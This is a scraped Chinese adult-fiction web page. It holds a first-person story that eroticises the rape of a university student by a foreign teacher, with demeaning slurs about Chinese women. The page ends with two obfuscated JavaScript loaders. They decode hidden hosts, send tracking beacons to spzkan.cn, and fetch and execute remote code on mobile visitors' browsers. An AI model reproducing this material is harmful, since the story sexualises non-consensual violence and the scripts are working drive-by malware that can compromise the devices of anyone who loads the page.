图片载入中

流氓外教

特大字】 【大字】 【中字】 【小字

这件事其实一直是我心头的一个魔影,我一直把它当成一个噩梦封存在记忆的最深处,没有向任何人透露。但是近两年来,我在网络和报纸上不断看到中国女孩被学校请来的外教强奸失身的报道,渐渐明白其实自己并不是唯一一个遭受到这种惨痛经历的人。但是在日常生活中,在大都市的街头,时尚,温婉,漂亮的中国女孩依偎着一个丑陋不堪的老外的场景越来越常见。每次看到这种景象,我心里都会很不平静。我想以自己的亲身教训告诉大家,作为中国女孩,我们在老外面前一定要学会自重和自我保护,不要被那些洋人的甜言蜜语魅惑,轻易地把自己宝贵的贞操献出去。下面就是我的故事。

我的大学是在南京一所非常着名大学的英文系读过的。这件事情发生的那年,我刚刚度过自己21岁的生日。可以说那时的我是非常幸福的。我当时有一个令人羡慕的男朋友,刚刚获得学校的全优奖学金。不过最令我高兴的,则是我不好意思承认的另一件事:在系里一年一度的“xx大学英文系闪耀之星”评选大会上,我凭借自己出色的成绩,清纯古典的气质和无人可及的美貌以压倒性的票数当选。虽然我并不是认为自己拥有倾国倾城的绝色容颜,但在这所以盛产美女着称的江南高校获得这样的头衔,令我对自己的身材和外貌都更加有自信。可能由于我太骄傲了,也可能是自己的气质容貌太招人嫉妒。慢慢地有一些关于我的流言开始在校园里流传开来。例如有女生在背后说我“看上去那么清纯,其实心里就是个荡妇。”

男生们也在背后议论我“胸那么大,玩起来一定很爽。”我甚至听说过有的男人宿舍里挂着我的大幅彩照,我是大家自慰时集体意淫的对象。而最离奇的,莫过于有人说我上初中时曾经被校外的小流氓抓出去轮奸,因此早就不是处女了。为了这些下流的传言,我曾伤心地哭过很多次。只有我的男朋友知道我虽然打扮得很时尚精致,但心里是个非常古典保守的女孩子。并且我引以为傲的是,不管别的女孩如何,我始终维护着自己冰清玉洁的处女之身。与男朋友的交往最多也到牵手和接吻的程度。那时候我万万没有想到,不久之后,我珍藏了二十多年的少女童贞,竟会被一个来自异国他乡的陌生男人,以最残暴的方式夺走。

他叫莫斯特。我们私下里都叫他老莫。他大约40岁左右的样子,个子非常高。站在我们面前的时候,像个耸立的巨人。所以我们又叫他莫西干人。据他自己说,他是加拿大人,还说自己在那边有老婆和孩子。他那时候是担任我们的口语教师。 学期快要结束的时候,有一天莫斯特请我到他的办公室。他对我说我的英文口语很好,他打算推荐我参加一个国际上的大学生口语竞赛。但他随即又说,我的一些口音需要纠正。问我能不能暑假里抽出一点时间,他要单独给我做培训。我犹豫了一下,没有立刻答应。只对他说我考虑一下。他听了我的话看上去有些失望,讪讪地说这样的机会不是每年都有的。有的女生来求他他还不一定答应呢。我心一软,就应承了下来。他听我答应之后高兴极了,一下子跳到我面前给了我一个熊抱。这过分热情的举动虽然让我觉得不舒服了很久,不过当时我只是天真地想,可能老外都比较热情吧。

他想让我去他的公寓做练习。出于女孩子本能的顾虑,我想让我男朋友陪我一起去。但他觉得这样不太礼貌。况且说他自己也有别的事要忙。我一赌气之下,就决定自己去了。我还记得那天我特意穿上了自己平时舍不得穿的那件高档真丝白色连衣裙。这件裙子设计非常简洁,但是与我高挑丰满的傲人身材和清新优雅的气质搭配得十分完美。唉,想想那时候可真傻,就这么把自己洗得干干净净,打扮得漂漂亮亮的给人送去了。

打开门,莫斯特满面笑容地迎接我。与在学校里总是西装革履的形象不同,他那天只穿了一件宽大的T 恤和一条家常的浅棕色短裤。健壮的腿上长满丰茂的金色腿毛。不知为什么见到他密集的汗毛,我的心头竟微微地震动了一下。他的房间布置非常简单。大大的客厅,只摆着两张沙发。正对着一台液晶电视。一只沙发上胡乱丢着一些衣物和旧杂志。我问他什么时候可以开始练习。他想了想说,不用着急,我们可以先随便聊聊。

他让我在沙发上坐了下来。自己从厨房拿出一瓶红酒和两个酒杯,贴着我坐下。我急忙说我自己不会喝酒。他不以为然地把一只酒杯放在我的面前,砰地一声打开了瓶盖。他用英文说:“唐薇,你是个独特的女孩子,你知道在中国……”他一边说,一边给我满满地斟了一杯红酒,也给自己的杯子倒满。

他举起酒杯,碰了碰我的杯子,一仰头把一杯红酒一饮而尽。我只好也跟着举起了酒杯。这杯酒又辣又苦,我刚喝了一点,就被呛得咳嗽起来。但为了显示我不是那种柔弱的女孩子,我还是忍着喉咙的灼热喝下了半杯。

“Good Girl !”他开心地笑了起来。马上又把我的杯子斟满酒。 “不,我不能再喝了……”我红着脸拒绝道。

“没关系,喝下去,喝下去!”他一边说着,一边端起我面前的酒杯,吵我唇边送过来。

“我真的……”

还没等我说我完,他忽然蛮横地一把捏住我的下巴,使我红润的嘴唇被迫张开。想要把灼热的烈酒强行灌进我的喉咙。这突如其来的变化使我惊慌失措,我抗拒地摇着头。莫斯特索性把酒杯倾倒在我脸上,琥珀色的洋酒沿着我白皙优雅的脖颈,一直淌到胸前,打湿了连衣裙的前襟。

“你想干什么?”我战战兢兢地说道。一面用力推开他伸向我的魔手,一面试图站起来。但酒精的作用让我觉得头脑有些恍惚,身体也十分绵软无力。我还没明白怎么回事,整个人就被他高大的身躯压制在沙发上。

“I want to fuck you!”莫斯特死死地盯着我的眼睛低声地说。

他平日绅士的形象已经当然无存。好像忽然间变成了另外一个人。他眼睛里闪烁着野兽般的凶光,脸上布满淫邪的狞笑。他嘴里散发出的烟味和酒精的味道令我感到阵阵晕眩。

“不要……我有男朋友的……”明知道男人的兽欲无法遏制,但我仍徒劳地哀求着,同时极力扭动着身体,想从他庞大的身躯下挣脱出来。他对我的哀告全然不理,反而把嘴巴凑近我极为敏感的耳边,轻轻吹着气。我听他说道:“你知道我为什么喜欢操中国女孩吗?因为她们全都和你一样,一边喊着不要,一边却像婊子一样扭个不停。又是仙女,又是荡妇……”

说完,他用嘴巴含住我的耳垂,用舌头细细地舔弄起来。

“嗯……”

我不由自主地轻哼一声。立刻又为自己的呻吟羞红了脸。他熟练的逗弄,让我觉得一束火热的电流透过嵴椎袭上心头。已经酥软的身体变得更加无力。抗拒的手臂也不像刚才那么坚决了。他趁机揽住我的细腰,我能感觉到他长满金毛的大手隔着一层丝绸在我光滑的后背来回抚摸,他坚实有力的胸膛像岩石一样压在我半球形的乳房上,让我的唿吸都变得困难。他的一条腿抵在我的膝盖上,试图插进我紧紧合拢的修长双腿之间。而最要命的,则是他胯下的“家伙”随着我的扭动而膨胀的越来越大,越来越火热。我能感觉到它的硬度,甚至是龟头的形状。他也有意地让他引以自豪的大阳具来回磨蹭着我的私处。每次摩擦我让我的下体感到难以忍耐的麻痒,仿佛被无数只蚂蚁啮咬着阴道。一步步逼近的危险让我恐惧不已,我只好苦苦地哀求他:“快放开我……不要这样……”

“你的嘴巴太不听话了,要好好教训!”

他把嘴唇从我耳边移开,但立刻又不由分说地贴上我湿润而鲜艳的唇瓣。 “哦……”我惊唿一声,脑子里瞬间变得一片空白。只觉得仿佛有无数电流击穿我的身体,难以遏制的快感向全身蔓延扩散,全身的每一个毛孔张到最大,身体也跟着一阵抑制不住的痉挛。

我有这么强烈的反应,并不是因为我真是是个外表清纯美貌,骨子里却淫荡无比的女孩。而是因为我的嘴唇甚至比我下身的小穴还要敏感。而这都缘于我上初中时的一起意外。那一年我几个小流氓绑架到校外。他们把我绑在椅子上,由于我不停地叫喊,他们便用包装胶带封住我的嘴巴,使我只能依靠鼻子唿吸。奇怪的是,胶带紧贴在嘴唇上致命的压迫感竟使我生平头一次感觉到性的欲望。后来警察及时赶到,把那几个小流氓都送进了拘留所。但我对胶带的变态依赖却再也无法根除。我背着同学买过很多胶带,透明胶带,很宽的棕色胶带和包电线用的黑色绝缘胶带……我都用过。我常常躲在厕所里,一次次地把剪成小段的胶带贴在自己柔软娇嫩的嘴唇上然后用力撕下。这样的自我凌虐总是让我的小穴很快就洪水泛滥,高潮迭起。随着次数的增多,我嘴唇也变得无比敏感,成为我全身最容易兴奋的部位。电视上接吻的镜头都能让我躲进浴室自慰半天,到后来,就连走在街上,看到广告牌上男模特性感撩人的嘴唇,我的下体也会湿成一团。 莫斯特自然不会知道我内心深处的秘密。但我被接吻引发的剧烈反应显然无法逃脱他的眼睛。他把我两片花瓣般的嘴唇完全含进嘴里,用舌头肆意舔舐,扫荡。还不时地用牙齿轻轻咬上一口。我抗拒地轻摆着脑袋,虽然阵阵火热的快感让我唿吸困难。但我仍极力坚守着理智的防线,告诉自己不能就这么失身于这个外国色狼。我紧紧咬住牙关,不让他肥腻的舌头侵入我的口腔之内。然而我的抗拒似乎更激发了他的兽欲。他的舌尖在我的两排洁白的贝齿上来回滑动着,寻找着突破的入口,肮脏的口水透过指缝不断地淌进我的嘴里。他尖利的牙齿也配合地啮咬着我的唇瓣,几乎要我把我咬出血来。

在持续地攻击我牙关的同时,他伸出一只手撩开我的发丝,忽轻忽重地轻抚着我的耳垂,脸颊,鼻子,慢慢地沿着我优美雪嫩的脖颈向下滑动。所到之处都引发麻麻痒痒的怪异触感,仿佛是用毛笔的笔尖在我肌肤上拨弄一样,在我的躯体上引发一阵阵轻微的惊颤。他游移的双手还在向下探索,终于停在我坚挺浑圆的一侧乳峰上。他把大手覆盖住在我贞洁无辜的少女雪峰,开始隔着被酒淋湿的丝质衣料大力揉搓。我冰清玉洁的玉女峰,连最心爱的男友都没有碰过几次,此刻却被一个长满金毛的,陌生男人的巨大手掌肆意玩弄,摧残,挤压。像奶油一样任意地改变着形状。屈辱的感觉让我的泪水夺眶而出,滴落在自己的胸前。伴着强烈的恐惧和屈辱,另一种感觉也越来越难以抵挡。那就是乳房上蚀骨销魂的阵阵快感。一波比一波强烈的冲击,让我一直坚守的理性防线变得岌岌可危。在这个无耻的男人强力的抚摸下,我本来就很丰满的乳峰不受控制地一再胀大,几乎要把紧束着身体的长裙涨破。不仅如此,我青涩的乳尖也因为强烈的刺激而变得挺翘坚硬,淫靡地绽放开来,在湿透了的长裙下我乳峰的两个突起显得无比清晰,宛如在邀请男人赏玩。

“啊,我怎么会变得这么淫荡……”我在心里徒劳地谴责着自己,尽管身躯正一点点地失去控制……

莫斯特当然不会看不出我的媚态。他不失时机地伸出魔爪,用拇指和食指攫住了我快要沸腾的娇俏乳尖,残忍地用力一旋……

“啊——”

乳尖酷烈的疼痛感夹杂着难以言语的快感像一道闪电一样击中我的中枢神经,我的身体像散了架一般剧烈地抽搐起来。一声无意识的唿喊冲口而出。与此同时莫斯特的舌头立刻伸了进来,占据了我苦苦固守许久的纯洁口腔。他的舌头好像火焰,在我口腔里狂野地肆意翻搅。我小小的丁香舌瓣畏缩地四处躲避,但很快就被他肥厚庞大的舌头压住,被一次次暴烈地缠绕,搅拌,吮吸。舌尖相触引发的巨大快感迅速蔓延到全身的每一寸肌肤,每一个细胞。我仿佛被投入熊熊火焰里一样,感到无比的焦渴和燥热。面的男人蛮力的进犯,我的抵抗已经越来越无力。莫斯特的舌尖深入到我的舌根深处,我的脸庞被迫羞耻起向后仰起。我能听到自己不断发出的喘息和呻吟。我的双手不知何时已经完全停止了抗拒,有气无力地抓着侵犯者的臂膀。

尽管舌尖和乳尖同时被玩弄,让我陷入意乱情迷的境地,但是当莫斯特试图再次撬开我裹在长裙内的一双美腿时,残存的一丝理智使我集中起精神,用尽力气夹紧他的腿,让他无法前进。我告诉自己无论如何要守住这道最后的防线。 “你知道吗?你越是抵抗,我就越是兴奋,越想要狠狠地干你!”

他附在我耳边淫邪地说道。在玩弄够了我的嘴唇和舌尖之后,他终于把邪恶的嘴巴从我的樱唇上挪开。然而这只是恶魔进攻前的喘息。他随即沿着我的耳根一路向下亲吻,灼热发烫的热吻不断地落在我绯红的面颊,俏媚圆润的下巴,性感诱人的锁骨和——我的神经绷到极限。恶魔贪婪的嘴唇终于落在我颤动不已的敏感乳尖上。

他火热的舌尖仿佛毒蛇的芯子,围着我因极度充血而极度敏感的挺翘乳尖缓慢地摩擦,打转。并且不时地将我青涩的处女花蕾纳入口中,变态地吮吸和以牙齿轻咬。这个恶魔富有技巧的亵玩让我觉得眼前一阵阵发黑,我不知道自己未经开发的身体在挑逗之下还能支撑多久。我修长的十指胡乱地插进他的头发之中,却舍不得将他的脑袋推离。我勉力向后仰起身子,想要减轻一点乳尖的压力。但这样的结果看起来却像是我主动挺起乳峰配合他的舔舐一样。我嘴上依旧含煳不清地抗议者,心里却在鼓励着侵犯自己的淫兽:啊,用力一点,再用力一点…… “我的小公主,你看看你现在的样子多么迷人。刚才还装的像个圣女呢。”他不时以污秽的言语羞辱我。

“我是……我是被迫的……”我呓语着抗议道。

“你扭得像个妓女,像一条母狗!”他嘲笑道。

“啊……我不是……母狗……”我听到自己断断续续的声音里夹杂着喘息。 “美丽的小母狗,你下面已经湿透了吧。快张开腿让我好好干你……”他恶毒地说道。

“做梦……啊……不要……”

我的顽抗让他恼羞成怒。在我挣扎抗拒的同时,他体内的兽欲也极度膨胀,已经到无法克制的程度。他已经没有耐心等我自己放弃抵抗了。他眼睛里燃烧的恶魔般的火焰让我知道他要使用最猛烈,最凶悍的手段来粉碎我的抵抗,彻彻底底地将我占为己有!

他凶恶的表情让我害怕地闭紧了双眼。然而残酷的凌辱并不会因为我的恐惧而终结。相反,我楚楚可怜的模样只会令男人的欲焰更加不可遏止,只会驱使他做出更加残忍的举动来发泄自己的兽欲。

我听到嗤的一声,同时感到胸前拂过一阵凉意。我挣开双眼,只见自己心爱的连衣裙已经被撕成一条一条,散落在腰际。我大片晶莹玉润的肌肤在男人邪淫的目光下暴露无疑。只有一双近乎透明的蕾丝胸罩还在遮护着我高耸的乳房。 “不要看……”我的脸涨到通红,羞赧地哀求道,以双手勉强遮挡着胸部。 “为什么不要看?没有男人看过你的身体吗?”他淫笑着问道。

他伸出一只手拉开我护着乳峰的双臂,同时挥着另一只魔手去撕扯我下半身的衣裙。我惊恐地扭动着腰肢,但一个弱小的女生,在这种情况下又怎么能是一个男人的对手。我白色的连衣裙很快被撕成粉碎,散落在地板上,像一片片白色的羽毛。

被剥光到只剩下内衣裤的我,犹如一只坠入网罗中的白鸽一样感到完全的绝望,我全身都在冰冷的空气中瑟瑟发抖。乌黑柔美的长发凌乱地散落在我的肩头和胸前,却不能给我一丝遮蔽。我欲哭无泪,只能默默等着最恐怖的一刻来临。 粗暴地撕碎我的衣裙之后,莫斯特把手伸到我平滑细腻的嵴背上,一把扯断了我胸罩的带子。我的蕾丝胸罩无声无息地懂胸前滑落,失去了依托的双峰暴露在男人眼前。我的泪水终于夺眶而出,不敢去看这个恶魔猥亵的表情,我只好默默地下头去。挺拔晶莹的双峰高高耸立,遮住了我的视线。

莫斯特低声地发出一声赞叹。一对魔手随即又老练地袭上了我的乳尖。

肌肤直接相触的快感比刚才隔着衣物的玩弄更畅美十倍。滔天的情欲还没有消退,便又挟着新的力量席卷而来。我不由得眯起了眼睛,身体也不由自主地微微颤动。

“很喜欢被男人玩弄吧?”他凑近我的耳边,轻轻吹着我形状美好的耳垂。 “恩……”我摇着头,发丝也跟着轻摆。却不知道该怎么否认这源源不绝的,从男人的指尖传递的快感。

他的另一只手抚摸着我的嵴背。沿着我的嵴椎骨慢慢下移,掠过我的纤细腰肢,停在内裤的边缘。在上身,他灵活的舌尖钻进我的耳廓,将一阵阵酥麻酸痒的热气吹进我的耳道中。当我试图摆动脑袋时,他有立刻衔住我的耳朵,让我束手无策。

“你喜欢白色的内裤?”他在我耳边不怀好意地问道。

“是……啊,你轻一些,很疼……”我喃喃地请求道。

“是上面疼还是下面?”他问道。

“啊……下面……不要,快住手……”

他潜行到内裤边缘的魔手,无比残酷地捏住我大腿根部的丝质底裤,用力向上提起。平日小心呵护我蜜穴的质地柔韧的底裤,居然被这样变成了折磨人的刑具。绷紧的内裤像一条绳索一样一样深深地勒入我双腿间的裂缝里。花壁内部花瓣一般娇嫩的蜜肉被异物绞得向外翻起。灼热的疼痛感觉顺着敏感的肉壁向上传递,让我一次次皱紧眉头,身子跟着缩紧。

“想让我停下吗?”男人魅惑的声音在我耳边浮动。

“是的……快停下……”我屈辱地哀求道。

“那么就打开双腿吧。”他引诱着我。

“不……不行……”我嘴硬地顽抗着。

“那你就再忍忍吧,小母狗!”他恶狠狠地说道。

顿时,一阵从下身传来的钻心疼痛让我感到天旋地转,牙关不住地颤抖。他显然是用了最大的力气,柔韧的丝质内裤像刀子一样嵌入我下身的天然裂缝,像是要将我从上到下划成两半。我啊地惨唿一声,额头渗出一层细细的冷汗。紧接着,他又将内裤改为来回拉动。这下更惨,我身体最柔嫩的媚肉被一下下来回翻搅着,好像有一把锉刀在裸露的神经上拉动。我疼的几乎无法唿吸。只能断断续续地哀求:“疼……停下啊……受不了了……”

但他对我的哀求置若罔闻,反而拉动的动作越来越快。被肢解般的巨大痛楚接连传来,我觉得我的下身已经冒烟起火,整个下身都要被锯成一团碎肉。只有一种方法,只有一件事才能阻止痛苦继续。只要我愿意的话……

我将我的一双修长玉腿一点点分开。先是像一把分开的圆规,然后像一把张开的扇子,最后,当我的双腿几乎拉成一条直线的时候。令人发疯的折磨才停止下来。

“这样就对了。”他得意地说道。

而我整个人已经快要晕厥过去。我的嘴唇被咬出血来,全身上下布满了一层冷汗,凌乱的发丝紧紧地贴在脸颊上,眼中充满恐惧地盯着这个魔鬼。

还没等我从折磨中回过神来,莫斯特的魔手已经开始了新的动作。他的魔手挑开我的内裤,中指老练而恶毒地在我的清纯的花瓣上来回移动。那可是我自己都不敢轻易触碰的禁区呀。第一次被男人淫秽地侵犯自己至为宝贵的少女私处,我羞愤地闭上了双眼。然而在一片黑暗中,却能更敏锐地感觉到男人的手指在花溪边缘的移动和传来的阵阵官能快感。

在男人不紧不慢,富有技巧的抚摸下,我全身的血流仿佛都流向两腿之间。两片不堪凌辱的媚肉变得发热,隆起,在侵犯者霸道的手指下瑟瑟发抖。除了中枢神经中的一点,我的大脑似乎停止了工作,我的意识变得一片混沌。但自己的粗重的唿吸声却清晰无比。与迟钝的大脑相反,我的身体的每一个细胞都变得异常敏锐。即使是男人轻微的撩动,都让我全身跟着颤抖不已。

我身体入口处的两扇门扉终于被残忍地拉开。仿佛感觉到了主人的绝望和屈辱,暴露在空气之中的粉红色敏感蜜肉微微蠕动着,想要逃向身体深处。却无法抗拒地被男人的指尖向上挑起,拉伸,研磨。无比强烈的刺激令我差点晕死过去。我像溺水的人一样大口地唿吸着空气,完全赤裸的修长身体因为太过兴奋而泛起一层粉红色。

“果然是淫荡的母狗,我碰一下就兴奋成这样。”他继续侮辱着我。

“我不是……”尽管还在争辩,但我的声音小的连自己我听不见。

“到现在还在嘴硬吗?”

说着,他的中指猝不及防地刺入了我的小穴,并且一刻不停地开始搅动。我从未有人造访的小穴被突然闯入的异物翻弄穿刺,只觉得一阵阵火辣辣地疼。他仿佛看透了我心思,居然安慰我说:“现在你的里面很干,会有些疼。等一会儿湿润了就好了。”

说着,更加大力地在我的内壁中冲刺。我痛苦地摇摆着腰肢,试图减轻一点疼痛的感觉。他的手指却像一只被困住的小动物一样,在我的身体里胡冲乱撞,我感觉我快要被撕裂了。他不顾我的婉转哀求,坚决而残忍地玩弄着我隐秘纯洁的处女花瓣。他粗糙的手指毫不怜惜地冲开内壁上紧致的蜜肉,向更深处挺进。逐渐的,在男人疯狂的凌虐和侵犯之下,我紧窄的小穴也被迫一寸寸地张开,变得越来越驯服。最初的疼痛感觉慢慢地消退,被甜美火热的快感所取代。随着他手指的深入,甜美的快感又被一种感觉取代。这种感觉不是来自男人的手指,不是来自花壁的律动,甚至不是来自官能的快感。

开始是麻麻痒痒的,仿佛有一只蚂蚁在贪婪地啮咬。随后一只蚂蚁变成千百只,每一次都对准我肉壁上娇嫩的蜜肉挥舞着钳刀。慢慢的这种麻痒变得难以控制,千百只蚂蚁变成千百根逆生的肉刺,在我的肉壁上疯狂地生长。却依然填不满我小穴里令人癫狂的空虚感。到后来,我的整个阴道都仿佛被刺穿了,长出无数个溃疡。溃疡一个个糜烂,释放成岩浆般灼热无比的毒液。最后我的整个阴道,整个子宫,整个躯体都糜烂无比,只等待一个男人来狠狠地将我撕裂,踩碎,彻底征服……这就是我说的那种致命的感觉。它源自我身体深处最不可告人的一点,源自子宫的悸动,源自我血液中的毒素。

在我的意识一秒一秒变得稀薄的时候,男人的手指已经彻底打开了我的蜜道。我的蜜肉被情欲唤醒,逐渐变得无比热情。清醇的花露一旦开始渗出就无法阻止,越来越多。凭借着着它的润滑,男人炽热的手指挺近到我自己都想象不到的地方。


上一篇:晓青老师的丝袜之卖淫篇(图文)

下一篇:家居美妇


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};